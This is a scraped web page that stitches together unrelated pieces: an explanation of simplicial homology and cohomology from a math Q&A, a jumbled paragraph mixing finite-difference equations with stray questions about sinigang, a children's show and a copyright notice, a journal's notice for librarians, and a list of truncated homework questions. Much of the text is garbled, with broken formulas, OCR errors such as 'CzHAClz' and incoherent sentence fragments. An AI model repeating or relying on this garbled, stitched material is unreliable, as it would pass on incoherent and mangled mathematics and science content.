I couldn't really do better than Eric's answer, and like Grigory says, cohomology is more general. So instead I want to mention a case where cohomology doesn't do this: Sheaf Cohomology of Algebraic Groups, classify dominant Vector Bundles. This is called the Borel-Weil-Bott Theorem and has some nice ramifications for Representation Theory and Algebraic Geometry. – BBischof Jul 24 '10 at 19:48

Simplicial and singular (co)homology were invented to detect holes in spaces. To get an intuitive idea of how this works, consider subspaces of the plane. Here the 2-chains are formal sums of things homeomorphic to the closed disk, and 1-chains are formal sums of things homeomorphic to a line segment. The operator d takes the boundary of a chain. For example, the boundary of the closed disk is a circle. If we take d of the circle we get $0$ since a circle has no boundary. And in general it happens that $d^2 = 0$, that is boundaries always have no boundaries themselves. Now suppose we remove the origin from the plane and take a circle around the origin. This circle is in the kernel of d since it has no boundary. However, it does not bound any 2-chain in the space (since the origin is removed) and so it is not in the image of the boundary operator on two-dimensions. Thus the circle represents a non-trivial element in the quotient space $ker( d ) / im (d)$.
The way I have defined things makes the above a homology theory simply because the d operator decreases dimension. Cohomology is the same thing only the operator increases dimension (for example the exterior derivative on differential forms). Thus algebraically there really is no difference between cohomology and homology since we can just change the grading from $i$ to $-i$.
From a homology we can get a corresponding cohomology theory by dualizing, that is by looking at maps from the group of chains to the underlying group (e.g. $\Bbb Z$ or $\Bbb R$). Then d on the cohomology theory becomes the adjoint of the previous boundary operator and thus increases degrees.


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difference in math

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The shooting method (see [2]) can be applied to solve difference boundary value problems (13), (14). are $m$ - c _ {1} ( n - 1) The common difference must be similar between each term. Example: 30 -20 _____ 10 The difference there would be 10. What are the release dates for The Wonder Pets - 2006 Save the Ladybug? $$, one can find  m$$, $$; \dots &\dots &\dots \\$$, be the finite differences. a _ {2} q ^ {2} + What is the exposition of the story of sinigang? y _ {N} = \ information described below to the designated agent listed below. What is the common difference in the following sequence? and $h _ {1}$ to equation (4) when $n = m, m + 1 , . Common differences are associated with arithematic sequences. We calculated that for the sets A = {1, 2, 3, 4, 5} and B = {3, 4, 5, 6, 7, 8}, the difference A - B = {1, 2 }. The result of subtracting one number from another. For equations of the type (16) one studies qualitative questions on the behaviour of the solutions as$ n \rightarrow \infty $, The European Mathematical Society, An equation containing finite differences of an unknown function. and$ h _ {2} $one obtains two linearly independent real solutions, $$A general solution to the difference equation (4) is a solution, depending on m If you can solve these problems with no help, you must be a genius! The material on this site can not be reproduced, distributed, transmitted, cached or otherwise used, except with prior written permission of Multiply.$$. Please follow these steps to file a notice: A physical or electronic signature of the copyright owner or a person authorized to act on their behalf;$$, A boundary value problem for a second-order difference equation is to find a function$ y _ {n} \$

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# Information For Librarians

We encourage research librarians to list this journal among their library's electronic journal holdings. As well, it may be worth noting that this journal's open source publishing system is suitable for libraries to host for their faculty members to use with journals they are involved in editing (see Open Journal Systems).


text:
# BLANK Inc. manufactures cycling equipment. Recently, the vice president of operations of the company has requested...

##### Question 18 ptsQuadebe0.J0] = 0.0018 0.330 0,0022 0.146 Brlo * ANSF JannoAln a1Lmr&0403 00092 0JD 00362 0,985Based on the the position vs time plot; what was the acceleration of the cart as it went down the incline? Your answer must be precise to 3 decimal places:
Question 1 8 pts Quadebe 0.J0] = 0.0018 0.330 0,0022 0.146 Brlo * ANSF Janno Aln a1 Lmr& 0403 00092 0JD 00362 0,985 Based on the the position vs time plot; what was the acceleration of the cart as it went down the incline? Your answer must be precise to 3 decimal places:...
##### Consider this overall reaction, which is experimentally observedto be second order in AB and zero order in C:Is the following mechanism valid for this reaction?
Consider this overall reaction, which is experimentally observed to be second order in AB and zero order in C: Is the following mechanism valid for this reaction?...
##### The compound shown above has the molecular formula CzHAClz: Identify any structures below that represent the constitutional isomer of the compound shown above Select all that apply_
The compound shown above has the molecular formula CzHAClz: Identify any structures below that represent the constitutional isomer of the compound shown above Select all that apply_...
##### Indicate the concentration of each ion or molecule in the following solutions: al 0.18 M HCI...
Indicate the concentration of each ion or molecule in the following solutions: al 0.18 M HCI c 0.030 M Na PO b] 0.12 M (NH,),SO d) 0.45 MC,H,OH EMISTRY 1515L A 19.6 g sample of a metal was heated to 61.67°C. When it was placed into 26.7 g of water in a calorimeter, the temperature of the water r...
##### 54. Indicate how cyclic photophosphorylation differs from noncyclic photophosphorylation in the following aspects (1 point each):...
54. Indicate how cyclic photophosphorylation differs from noncyclic photophosphorylation in the following aspects (1 point each): a. Types of photosystems involved: b. Pattern of electrons flow: c. Type of energy produced: d. Type of energy used: e. Water splitting...
##### Find particular solution the differential equation using the Method of Undetermined Coefficients_x"(t) 18x'(t) + 81x() = 4t e 9tA solution is Xp (t) =
Find particular solution the differential equation using the Method of Undetermined Coefficients_ x"(t) 18x'(t) + 81x() = 4t e 9t A solution is Xp (t) =...
##### Studying for math test tomorrow please answer soon. Thank you. 5. (22 points) Given the equation...
Studying for math test tomorrow please answer soon. Thank you. 5. (22 points) Given the equation x2 – 15x + 14 = 0. a. (9 points) Explain why solving this is the same as solving x + y = 5, and xy = 14. Solve using the Babylonian method. b. (9 points) Explain why solving this is the same as a e...
##### Find the function f which satisfiesf" (x) = e" _ % + 3sin â‚¬ , f(0) = f(w/2) = 0
Find the function f which satisfies f" (x) = e" _ % + 3sin â‚¬ , f(0) = f(w/2) = 0...
##### Mer (c) Explain why overhead cost cost to produce one unit of each product. Plain why...
Mer (c) Explain why overhead cost cost to produce one unit of each product. Plain why overhead cost shifted from the high-volume product (product B) he low volume product (product A) under activity based costing. A company has been applying factory overhead on the basis of direct labour hours using ...
##### 2000LE Support Reactions 2000L +000 2 TOOAF A A 500 PLF 6 + 124 25Tgig AK...
2000LE Support Reactions 2000L +000 2 TOOAF A A 500 PLF 6 + 124 25Tgig AK Iok 24 8', 24 A 3) W 5K-H -A 130 25 8 नन 2000L 100045 (5 250PLF 8 20'...
##### Question 41ptsWhenthe sun goes down for the day which ofthe following_ likely reactions in a leafcelldo vou predict is to cease first?NADP - reduction NADPH Anc stramzRuba ~COz2X 3PG, inthe stromaATP_ ADP cin the stromaThe production of ATP via cellular respiration; mitochondria
Question 4 1pts Whenthe sun goes down for the day which ofthe following_ likely reactions in a leafcelldo vou predict is to cease first? NADP - reduction NADPH Anc stramz Ruba ~COz 2X 3PG, inthe stroma ATP_ ADP cin the stroma The production of ATP via cellular respiration; mitochondria...
##### For this problem, carry at least four digits after the decimal in your calculations. Answers may...
For this problem, carry at least four digits after the decimal in your calculations. Answers may vary slightly due to rounding. A random sample of 5913 physicians in Colorado showed that 3359 provided at least some charity care (i.e., treated poor people at no cost). (a) Let p represent the proport...
##### A 211 g ball is tied to a string. It is pulled to an angle of...
A 211 g ball is tied to a string. It is pulled to an angle of 6.4 ∘ and released to swing as a pendulum. A student with a stopwatch finds that 15 oscillations take 15 s . How long is the string?...
##### Find the volume of the solid bounded by the paraboloid z = 10 planeand the
Find the volume of the solid bounded by the paraboloid z = 10 plane and the...
##### Develop a performance management system that will work for everyone including telecommuters.? I want a detailed...
Develop a performance management system that will work for everyone including telecommuters.? I want a detailed answer please...
##### Find basis for the subspace spanned by the given vectors State the dimnension of the subspace.1010The following questions are true/false. If the statement is falsc; give a counterexample explaining why it is false, and if it is truc; prOve it is true You Inay USC thcorems from class to justify YOur aISWCC _If the rank of an Tn X nL mnatrix A is the mninimm of ald then if T is the linca mnapping with standard matrix A T one to OHC Or onto_ The Sun of the dimensions of the column space and the
Find basis for the subspace spanned by the given vectors State the dimnension of the subspace. 10 10 The following questions are true/false. If the statement is falsc; give a counterexample explaining why it is false, and if it is truc; prOve it is true You Inay USC thcorems from class to justify ...
##### F(z) 9z + 5(f + 9)(z) 10
f(z) 9z + 5(f + 9)(z) 10...
##### (1 point) Let A = [-28 6 1 6 -54 11 12 -81 ] 18 17]...
(1 point) Let A = [-28 6 1 6 -54 11 12 -81 ] 18 17] Find an invertible matrix P and a diagonal matrix D such that D = P-1AP. P =...
##### Why is realism said to be a reaction to romanticism?
Why is realism said to be a reaction to romanticism?...
##### How do you multiply (6a + b)^2?
How do you multiply (6a + b)^2?...